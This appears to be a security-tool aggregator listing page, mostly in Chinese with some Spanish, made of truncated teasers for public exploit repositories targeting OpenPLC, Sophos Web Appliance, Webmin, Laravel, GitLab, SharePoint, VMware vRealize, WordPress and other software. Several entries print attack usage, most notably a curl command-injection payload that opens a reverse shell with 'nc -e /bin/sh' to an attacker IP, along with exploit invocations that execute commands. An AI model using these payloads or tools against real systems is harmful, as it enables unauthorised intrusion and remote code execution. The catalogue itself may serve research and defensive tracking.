OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 认证远程代码执行 CVE-2021-31630 这是一个现代 Python 3.13+ 兼容的概念验证漏洞利用程序，用于 CVE-2021-31630，该漏洞存在于 OpenPLC v3 中，允许认证用户上传包含恶意代码的自定义硬件层，从而导致在主机上远程执行代码（RCE）。 原始漏洞发现和报告由 Fellipe Oliveira 提供。 此重新实现和现代化版本使用 httpx、CLI 工具、日志记录和更安全的检测技术。 漏洞利用概述 漏洞：CVE-2021-31630 组件：OpenPLC v3 Web 服务器 影响：认证远程代码执行 RCE...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip =...

CVE-2019-15107

CVE-2019-15107 Webmin 利用工具 CVE-2019-15107 在 Webmin =1.920 中发现了一个问题。参数 old 在 passwordchange.cgi 中包含了命令注入漏洞。 NVD 编译 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 使用示例 root@kitploit: $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webm...

log4j-rce-detect-waf-bypass

This repository does not have a README...

CVE-2020-36179

描述 CVE-2020-36179： FasterXML jackson-databind 2.x 在 2.9.10.8 之前版本错误处理了序列化小工具与类型之间的交互，涉及 oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS。 CVE-2020-36180： FasterXML jackson-databind 2.x 在 2.9.10.8 之前版本错误处理了序列化小工具与类型之间的交互，涉及 org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS。...

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService 零点击远程代码执行 CVE-2025-31200 的公开披露——苹果 iOS 18.X 中 AudioConverterService 组件的一个零点击远程代码执行 RCE 漏洞。该漏洞通过 iMessage 或 SMS 发送的恶意音频文件触发，无需用户交互。 披露与补丁时间线 初始报告日期： 2025年1月21日 报告对象： US-CERT（跟踪 ID：VRF25-01-MPVDT） 苹果补丁： 已在 iOS 18.4.1 （2025年4月16日发布）中静默修复 CVE 分配： 由于 MITRE...

CVE-2021-3129

CVE-2021-3129 Instrucciones de uso: Nota: Se requiere un entorno PHP local. root@kitploit: python3 CVE-2021-3129.py -u http://127.0.0.1:80 （solo detectar POC） python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami （ejecución de comandos, por defecto recorrerá todas las cadenas de explotación）...

Exploit for CVE-2020-0609

RD Gateway BlueGate Validator CVE-2020-0609 / CVE-2020-06...

ilo4-rce-vuln-scanner

ilo4-rce-vuln-scanner 扫描给定IP列表中的CVE-2017-12542漏洞...

CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint 零日变种被利用实现完全远程代码执行 从 CVE‑2025‑49706 的关键升级 作者 Aditya Bhatt – 红队 | 渗透测试 📌 摘要 CVE‑2025‑53770 是 Microsoft SharePoint 中的一个 严重（CVSS 9.8）零认证 RCE 漏洞 ，目前已在野外被积极利用。这不是一个孤立问题——它是 CVE‑2025‑49706 的一个变种 ，我之前已经介绍过。 但 CVE‑2025‑49706 需要认证，而 53770 不需要 。 这是 未经认证的代码执行 ，在活跃攻击中已观察到真实的...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 漏洞利用工具，支持多种反弹 shell。 CVE-2018-19571：https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585：https://nvd.nist.gov/vuln/detail/CVE-2018-19585 本版本基于 Sam Redmond 和 Tam Lai Yin 的版本进行修改，用于学习和练习。 使用方法 本工具用 python3 编写，符合宇宙真理。 依赖： root@kitploit: pip3 install...

CVE-2023-27372-PoC

这个PoC是快速编写的，并没有什么特别之处。 它利用了新的CVE-2023-27372 SPIP RCE漏洞。 这是一个反序列化漏洞，利用了密码重置功能（spip.php?page=spippass）中危险使用ENV标签的问题，具体位于"/ecrire/balise/formulaire.php"文件中，尤其是以下这行： 1. 用法：python3 exploit.py -u https://url.com root@kitploit: function protegechamp$texte if isarray$texte $texte =...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle Introducción a la vulnerabilidad Moodle es el sistema de gestión de aprendizaje más popular del mundo. ¡Comienza a crear tu sitio web de eLearning en minutos! Existe una vulnerabilidad de ejecución remota de código no autorizada en el módulo de autenticación...

⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More

Turning off email images should at least stop the pictures. This week, attackers had a workaround: a scannable QR code built out of text. It still appears, even with images blocked. A small detail, but an annoying one if that was a precaution you were counting on. Elsewhere, a trusted software...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - 用于在 Azure UNIX/Linux VM 上利用未认证 RCE OMIGOD 的 POC 详情 在 Microsoft Azure 中，当为 UNIX/Linux VM 使用 Azure 自动化账户、更新管理、日志分析、配置管理等服务时，OMI 应用程序会自动安装。如果使用配置管理服务远程管理机器，OMI 应用程序还会在端口 5986 上暴露服务。 任何能够访问易受攻击端点的网络用户，无需 Authorization 头即可发送请求，利用 SCXcore 提供程序，在目标机器上以 root 权限执行操作系统命令！...

wp2shell-poc

wp2shell 💙 Apoya el Proyecto Si aprecias mi trabajo, considera apoyar el proyecto mediante USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN Cadena RCE de Pre-Autenticación en WordPress Core wp2shell es una prueba de concepto de investigación de seguridad que demuestra una cadena de vulnerabilidades...

CVE-2025-8723

⚡️ Cloudflare Image Resizing Descripción: El endpoint de la API REST del plugin no autentica a los usuarios y desinfecta incorrectamente la entrada en el método hookrestpredispatch. Esta falla permite a los atacantes inyectar y ejecutar código PHP arbitrario mediante solicitudes maliciosas, sin...

CVE-2020-36188

描述 在2.9.10.8之前的FasterXML jackson-databind 2.x版本中，序列化工具与类型之间的交互处理不当，涉及com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource 如何实现RCE pom.xml root@kitploit: com.fasterxml.jackson.core jackson-databind 2.9.10.7 com.newrelic.agent.java newrelic-agent 4.9.0 org.slf4j slf4j-nop 1.7.2...

CVE-2023-20887

CVE-2023-20887 漏洞利用 VMWare vRealize Network Insight 预认证远程代码执行 CVE-2023-20887 用法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标 URL，例如 http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST 用于反弹 She...

CVE-2026-6307-Longinus

CVE-2026-6307-Longinus Confusión de tipos en V8 TurboFan inlining de llamadas JS-to-Wasm + fusión de FrameState Mejor conocido como 'Longinus': 2 límites en un solo bug Repositorio: https://github.com/J4ck3LSyN-Gen2/CVE-2026-6307-Longinus Informe detallado: OS-IS-CVE-2026-6307-07-2026.md Write-up...